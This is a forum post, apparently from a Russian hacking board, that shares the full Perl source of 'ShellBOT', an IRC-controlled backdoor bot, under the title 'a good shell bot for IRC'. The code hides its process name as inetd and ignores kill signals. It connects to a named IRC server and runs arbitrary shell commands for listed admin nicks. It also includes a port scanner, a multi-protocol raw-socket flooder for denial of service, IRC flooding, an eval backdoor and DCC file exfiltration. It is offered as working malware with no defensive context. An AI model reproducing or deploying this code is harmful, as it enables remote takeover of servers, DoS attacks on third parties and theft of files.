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Schtirliz

Schtirliz

(L3) cache
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Регистрация
12.11.2005
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4
Хороший шел бот для IRC
source
Код: 
#!/usr/bin/perl 
# 
#  ShellBOT - Atrix Team 
# 
#   0ldW0lf - 
# 
# 
################ CONFIGURACAO ################################################################# 
my $processo = '/usr/sbin/inetd'; # Nome do processo que vai aparece no ps       # 
#----------------------------------------------################################################ 
my $linas_max='10';                            # Evita o flood :) depois de X linhas         # 
#----------------------------------------------################################################ 
my $sleep='3';                                 # ele dorme X segundos                         # 
##################### IRC ##################################################################### 
my @adms=("Mafia_Boy","WorLD");                          # Nick do administrador                        # 
#----------------------------------------------################################################ 
my @canais=("#.ShqiperiaBot.");                      # Caso haja senha ("#canal :senha")            # 
#----------------------------------------------################################################ 
my $nick= 'shqiptari';                                  # Nick do bot. Caso esteja em uso vai aparecer # 
                                               # aparecer com numero radonamico no final      # 
#----------------------------------------------################################################ 
my $ircname = 'Long.Life.Ethnic.Albania';                    # User ID                                      # 
#----------------------------------------------################################################ 
chop (my $realname = `id`);              # Full Name                                    # 
#----------------------------------------------################################################ 
$servidor='irc.fiericlan.net' unless $servidor;  # Servidor de irc que vai ser usado            # 
                                               # caso não seja especificado no argumento      # 
#----------------------------------------------################################################ 
my $porta='6667';                          # Porta do servidor de irc                     # 
################ ACESSO A SHELL ############################################################### 
my $secv = 1;                                  # 1/0 pra habilita/desabilita acesso a shell   # 
############################################################################################### 

my $VERSAO = '0.2'; 

$SIG{'INT'} = 'IGNORE'; 
$SIG{'HUP'} = 'IGNORE'; 
$SIG{'TERM'} = 'IGNORE'; 
$SIG{'CHLD'} = 'IGNORE'; 
$SIG{'PS'} = 'IGNORE'; 

use IO::Socket; 
use Socket; 
use IO::Select; 
chdir("/"); 
$servidor="$ARGV[0]" if $ARGV[0]; 
$0="$processo"."\0"x16;; 
my $pid=fork; 
exit if $pid; 
die "Problema com o fork: $!" unless defined($pid); 



our %irc_servers; 
our %DCC; 
my $dcc_sel = new IO::Select->new(); 

############################# 
#  B0tchZ na veia ehehe :P  # 
############################# 

$sel_cliente = IO::Select->new(); 
sub sendraw { 
  if ($#_ == '1') { 
    my $socket = $_[0]; 
    print $socket "$_[1]\n"; 
  } else { 
      print $IRC_cur_socket "$_[0]\n"; 
  } 
} 

sub conectar { 
   my $meunick = $_[0]; 
   my $servidor_con = $_[1]; 
   my $porta_con = $_[2]; 

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); 
   if (defined($IRC_socket)) { 
     $IRC_cur_socket = $IRC_socket; 

     $IRC_socket->autoflush(1); 
     $sel_cliente->add($IRC_socket); 

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; 
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; 
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; 
     nick("$meunick"); 
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); 
     sleep 1; 
   } 

} 
my $line_temp; 
while( 1 ) { 
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } 
   delete($irc_servers{''}) if (defined($irc_servers{''})); 
   &DCC::connections; 
   my @ready = $sel_cliente->can_read(0); 
   next unless(@ready); 
   foreach $fh (@ready) { 
     $IRC_cur_socket = $fh; 
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; 
     $nread = sysread($fh, $msg, 4096); 
     if ($nread == 0) { 
        $sel_cliente->remove($fh); 
        $fh->close; 
        delete($irc_servers{$fh}); 
     } 
     @lines = split (/\n/, $msg); 

     for(my $c=0; $c<= $#lines; $c++) { 
       $line = $lines[$c]; 
       $line=$line_temp.$line if ($line_temp); 
       $line_temp=''; 
       $line =~ s/\r$//; 
       unless ($c == $#lines) { 
         parse("$line"); 
       } else { 
           if ($#lines == 0) { 
             parse("$line"); 
           } elsif ($lines[$c] =~ /\r$/) { 
               parse("$line"); 
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { 
               parse("$line"); 
           } else { 
               $line_temp = $line; 
           } 
       } 
      } 
   } 
} 


  
sub parse { 
   my $servarg = shift; 
   if ($servarg =~ /^PING \:(.*)/) { 
     sendraw("PONG :$1"); 
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { 
       my $pn=$1; my $onde = $4; my $args = $5; 
       if ($args =~ /^\001VERSION\001$/) { 
         notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001"); 
       } 
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { 
         if ($onde eq "$meunick"){ 
           shell("$pn", "$args"); 
         } 
         if ($args =~ /^(\Q$meunick\E|\!asc)\s+(.*)/ ) { 
            my $natrix = $1; 
            my $arg = $2; 
            if ($arg =~ /^\!(.*)/) { 
              ircase("$pn","$onde","$1") unless ($natrix eq "!asc" and $arg =~ /^\!nick/); 
            } elsif ($arg =~ /^\@(.*)/) { 
                $ondep = $onde; 
                $ondep = $pn if $onde eq $meunick; 
                bfunc("$ondep","$1"); 
            } else { 
                shell("$onde", "$arg"); 
            } 
         } 
       } 
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { 
       if (lc($1) eq lc($meunick)) { 
         $meunick=$4; 
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
       } 
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { 
       nick("$meunick".int rand(9999)); 
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { 
       $meunick = $2; 
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; 
       foreach my $canal (@canais) { 
         sendraw("JOIN $canal"); 
       } 
   } 
} 

sub bfunc { 
  my $printl = $_[0]; 
  my $funcarg = $_[1]; 
  if (my $pid = fork) { 
     waitpid($pid, 0); 
  } else { 
      if (fork) { 
         exit; 
       } else { 
           if ($funcarg =~ /^portscan (.*)/) { 
             my $hostip="$1"; 
             my @portas=("21","22","23","25","53","80","110","143"); 
             my (@aberta, %porta_banner); 
             foreach my $porta (@portas)  { 
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); 
                if ($scansock) { 
                   push (@aberta, $porta); 
                   $scansock->close; 
                } 
             } 

             if (@aberta) { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta"); 
             } else { 
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada"); 
             } 
           } 
           if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { 
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); 
             $dtime = 1 if $dtime == 0; 
             my %bytes; 
             $bytes{igmp} = $2 * $pacotes{igmp}; 
             $bytes{icmp} = $2 * $pacotes{icmp}; 
             $bytes{o} = $2 * $pacotes{o}; 
             $bytes{udp} = $2 * $pacotes{udp}; 
             $bytes{tcp} = $2 * $pacotes{tcp}; 
            
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002"); 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s"); 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o})); 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); 


           } 
           exit; 
       } 
  } 
} 
  
sub ircase { 
  my ($kem, $printl, $case) = @_; 

  if ($case =~ /^join (.*)/) { 
     j("$1"); 
   } 
   if ($case =~ /^part (.*)/) { 
      p("$1"); 
   } 
   if ($case =~ /^rejoin\s+(.*)/) { 
      my $chan = $1; 
      if ($chan =~ /^(\d+) (.*)/) { 
        for (my $ca = 1; $ca <= $1; $ca++ ) { 
          p("$2"); 
          j("$2"); 
        } 
      } else { 
          p("$chan"); 
          j("$chan"); 
      } 
   } 
   if ($case =~ /^op/) { 
      op("$printl", "$kem") if $case eq "op"; 
      my $oarg = substr($case, 3); 
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   if ($case =~ /^deop/) { 
      deop("$printl", "$kem") if $case eq "deop"; 
      my $oarg = substr($case, 5); 
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   if ($case =~ /^voice/) { 
      voice("$printl", "$kem") if $case eq "voice"; 
      $oarg = substr($case, 6); 
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   if ($case =~ /^devoice/) { 
      devoice("$printl", "$kem") if $case eq "devoice"; 
      $oarg = substr($case, 8); 
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   if ($case =~ /^msg\s+(\S+) (.*)/) { 
      msg("$1", "$2"); 
   } 
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { 
      for (my $cf = 1; $cf <= $1; $cf++) { 
        msg("$2", "$3"); 
      } 
   } 
   if ($case =~ /^ctcp\s+(\S+) (.*)/) { 
      ctcp("$1", "$2"); 
   } 
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { 
      for (my $cf = 1; $cf <= $1; $cf++) { 
        ctcp("$2", "$3"); 
      } 
   } 
   if ($case =~ /^invite\s+(\S+) (.*)/) { 
      invite("$1", "$2"); 
   } 
   if ($case =~ /^nick (.*)/) { 
      nick("$1"); 
   } 
   if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { 
       conectar("$2", "$1", 6667); 
   } 
   if ($case =~ /^send\s+(\S+)\s+(\S+)/) { 
      DCC::SEND("$1", "$2"); 
   } 
   if ($case =~ /^raw (.*)/) { 
      sendraw("$1"); 
   } 
   if ($case =~ /^eval (.*)/) { 
     eval "$1"; 
   } 
} 
sub shell { 
  return unless $secv; 
  my $printl=$_[0]; 
  my $comando=$_[1]; 
  if ($comando =~ /cd (.*)/) { 
    chdir("$1") || msg("$printl", "Diertório inexistente!"); 
    return; 
  } 
  elsif ($pid = fork) { 
     waitpid($pid, 0); 
  } else { 
      if (fork) { 
         exit; 
       } else { 
           my @resp=`$comando 2>&1 3>&1`; 
           my $c=0; 
           foreach my $linha (@resp) { 
             $c++; 
             chop $linha; 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); 
             if ($c == "$linas_max") { 
               $c=0; 
               sleep $sleep; 
             } 
           } 
           exit; 
       } 
  } 
} 

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki 
sub attacker { 
  my $iaddr = inet_aton($_[0]); 
  my $msg = 'B' x $_[1]; 
  my $ftime = $_[2]; 
  my $cp = 0; 
  my (%pacotes); 
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; 
  
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; 
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; 
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; 
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; 
  return(undef) if $cp == 4; 
  my $itime = time; 
  my ($cur_time); 
  while ( 1 ) { 
     for (my $porta = 1; $porta <= 65535; $porta++) { 
       $cur_time = time - $itime; 
       last if $cur_time >= $ftime; 
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; 
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; 
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; 
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; 

       # DoS ?? :P 
       for (my $pc = 3; $pc <= 255;$pc++) { 
         next if $pc == 6; 
         $cur_time = time - $itime; 
         last if $cur_time >= $ftime; 
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; 
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;; 
       } 
     } 
     last if $cur_time >= $ftime; 
  } 
  return($cur_time, %pacotes); 
} 



############# 
#  ALIASES  # 
############# 

sub action { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); 
} 

sub ctcp { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :\001$_[1]\001"); 
} 
sub msg { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :$_[1]"); 
}  

sub notice { 
   return unless $#_ == 1; 
   sendraw("NOTICE $_[0] :$_[1]"); 
} 

sub op { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +o $_[1]"); 
} 
sub deop { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -o $_[1]"); 
} 
sub hop { 
    return unless $#_ == 1; 
   sendraw("MODE $_[0] +h $_[1]"); 
} 
sub dehop { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +h $_[1]"); 
} 
sub voice { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +v $_[1]"); 
} 
sub devoice { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -v $_[1]"); 
} 
sub ban { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +b $_[1]"); 
} 
sub unban { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -b $_[1]"); 
} 
sub kick { 
   return unless $#_ == 1; 
   sendraw("KICK $_[0] $_[1] :$_[2]"); 
} 

sub modo { 
   return unless $#_ == 0; 
   sendraw("MODE $_[0] $_[1]"); 
} 
sub mode { modo(@_); } 

sub j { &join(@_); } 
sub join { 
   return unless $#_ == 0; 
   sendraw("JOIN $_[0]"); 
} 
sub p { part(@_); } 
sub part {sendraw("PART $_[0]");} 

sub nick { 
  return unless $#_ == 0; 
  sendraw("NICK $_[0]"); 
} 

sub invite { 
   return unless $#_ == 1; 
   sendraw("INVITE $_[1] $_[0]"); 
} 
sub topico { 
   return unless $#_ == 1; 
   sendraw("TOPIC $_[0] $_[1]"); 
} 
sub topic { topico(@_); } 

sub whois { 
  return unless $#_ == 0; 
  sendraw("WHOIS $_[0]"); 
} 
sub who { 
  return unless $#_ == 0; 
  sendraw("WHO $_[0]"); 
} 
sub names { 
  return unless $#_ == 0; 
  sendraw("NAMES $_[0]"); 
} 
sub away { 
  sendraw("AWAY $_[0]"); 
} 
sub back { away(); } 
sub quit { 
  sendraw("QUIT :$_[0]"); 
} 



# DCC 
package DCC; 

sub connections { 
   my @ready = $dcc_sel->can_read(1); 
#   return unless (@ready); 
   foreach my $fh (@ready) { 
     my $dcctipo = $DCC{$fh}{tipo}; 
     my $arquivo = $DCC{$fh}{arquivo}; 
     my $bytes = $DCC{$fh}{bytes}; 
     my $cur_byte = $DCC{$fh}{curbyte}; 
     my $nick = $DCC{$fh}{nick}; 

     my $msg; 
     my $nread = sysread($fh, $msg, 10240); 

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { 
        $DCC{$fh}{status} = "Cancelado"; 
        $DCC{$fh}{ftime} = time; 
        $dcc_sel->remove($fh); 
        $fh->close; 
        next; 
     } 

     if ($dcctipo eq "get") { 
        $DCC{$fh}{curbyte} += length($msg); 

        my $cur_byte = $DCC{$fh}{curbyte}; 

        open(FILE, ">> $arquivo"); 
        print FILE "$msg" if ($cur_byte <= $bytes); 
        close(FILE); 

        my $packbyte = pack("N", $cur_byte); 
        print $fh "$packbyte"; 

        if ($bytes == $cur_byte) { 
           $dcc_sel->remove($fh); 
           $fh->close; 
           $DCC{$fh}{status} = "Recebido"; 
           $DCC{$fh}{ftime} = time; 
           next; 
        } 
     } elsif ($dcctipo eq "send") { 
          my $send = $fh->accept; 
          $send->autoflush(1); 
          $dcc_sel->add($send); 
          $dcc_sel->remove($fh); 
          $DCC{$send}{tipo} = 'sendcon'; 
          $DCC{$send}{itime} = time; 
          $DCC{$send}{nick} = $nick; 
          $DCC{$send}{bytes} = $bytes; 
          $DCC{$send}{curbyte} = 0; 
          $DCC{$send}{arquivo} = $arquivo; 
          $DCC{$send}{ip} = $send->peerhost; 
          $DCC{$send}{porta} = $send->peerport; 
          $DCC{$send}{status} = "Enviando"; 

          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon 
          open(FILE, "< $arquivo"); 
          my $fbytes; 
          read(FILE, $fbytes, 1024); 
          print $send "$fbytes"; 
          close FILE; 
#          delete($DCC{$fh}); 
     } elsif ($dcctipo eq 'sendcon') { 
          my $bytes_sended = unpack("N", $msg); 
          $DCC{$fh}{curbyte} = $bytes_sended; 
          if ($bytes_sended == $bytes) { 
             $fh->close; 
             $dcc_sel->remove($fh); 
             $DCC{$fh}{status} = "Enviado"; 
             $DCC{$fh}{ftime} = time; 
             next; 
          } 
          open(SENDFILE, "< $arquivo"); 
          seek(SENDFILE, $bytes_sended, 0); 
          my $send_bytes; 
          read(SENDFILE, $send_bytes, 1024); 
          print $fh "$send_bytes"; 
          close(SENDFILE); 
     } 
   } 
} 


sub SEND { 
  my ($nick, $arquivo) = @_; 
  unless (-r "$arquivo") { 
    return(0); 
  } 
  
  my $dccark = $arquivo; 
  $dccark =~ s/[.*\/](\S+)/$1/; 

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; 
  my $longip = unpack("N",inet_aton($meuip)); 

  my @filestat = stat($arquivo); 
  my $size_total=$filestat[7]; 
  if ($size_total == 0) { 
     return(0); 
  } 

  my ($porta, $sendsock); 
  do { 
    $porta = int rand(64511); 
    $porta += 1024; 
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); 
  } until $sendsock; 

  $DCC{$sendsock}{tipo} = 'send'; 
  $DCC{$sendsock}{nick} = $nick; 
  $DCC{$sendsock}{bytes} = $size_total; 
  $DCC{$sendsock}{arquivo} = $arquivo; 


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); 

} 

sub GET { 
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; 
  return(0) if (-e "$arquivo"); 
  if (open(FILE, "> $arquivo")) { 
     close FILE; 
  } else { 
    return(0); 
  } 

  my $dccip=fixaddr($dcclongip); 
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); 
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); 
  $dccsock->autoflush(1); 
  $dcc_sel->add($dccsock); 
  $DCC{$dccsock}{tipo} = 'get'; 
  $DCC{$dccsock}{itime} = time; 
  $DCC{$dccsock}{nick} = $nick; 
  $DCC{$dccsock}{bytes} = $bytes; 
  $DCC{$dccsock}{curbyte} = 0; 
  $DCC{$dccsock}{arquivo} = $arquivo; 
  $DCC{$dccsock}{ip} = $dccip; 
  $DCC{$dccsock}{porta} = $dccporta; 
  $DCC{$dccsock}{status} = "Recebendo"; 
} 

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas 
sub Status { 
  my $socket = shift; 
  my $sock_tipo = $DCC{$socket}{tipo}; 
  unless (lc($sock_tipo) eq "chat") { 
    my $nick = $DCC{$socket}{nick}; 
    my $arquivo = $DCC{$socket}{arquivo}; 
    my $itime = $DCC{$socket}{itime}; 
    my $ftime = time; 
    my $status = $DCC{$socket}{status}; 
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); 

    my $d_time = $ftime-$itime; 

    my $cur_byte = $DCC{$socket}{curbyte}; 
    my $bytes_total =  $DCC{$socket}{bytes}; 

    my $rate = 0; 
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; 
    my $porcen = ($cur_byte*100)/$bytes_total; 

    my ($r_duv, $p_duv); 
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { 
       $r_duv = $3; $r_duv++ if $4 >= 5; 
       $rate = "$1\.$2"."$r_duv"; 
    } 
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { 
       $p_duv = $3; $p_duv++ if $4 >= 5; 
       $porcen = "$1\.$2"."$p_duv"; 
    } 
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); 
  } 


  return(0); 
} 


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) 
sub fixaddr { 
    my ($address) = @_; 

    chomp $address;     # just in case, sigh. 
    if ($address =~ /^\d+$/) { 
        return inet_ntoa(pack "N", $address); 
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { 
        return $address; 
    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation! 
        return inet_ntoa(((gethostbyname($address))[4])[0]); 
    } else { 
        return; 
    } 
}v

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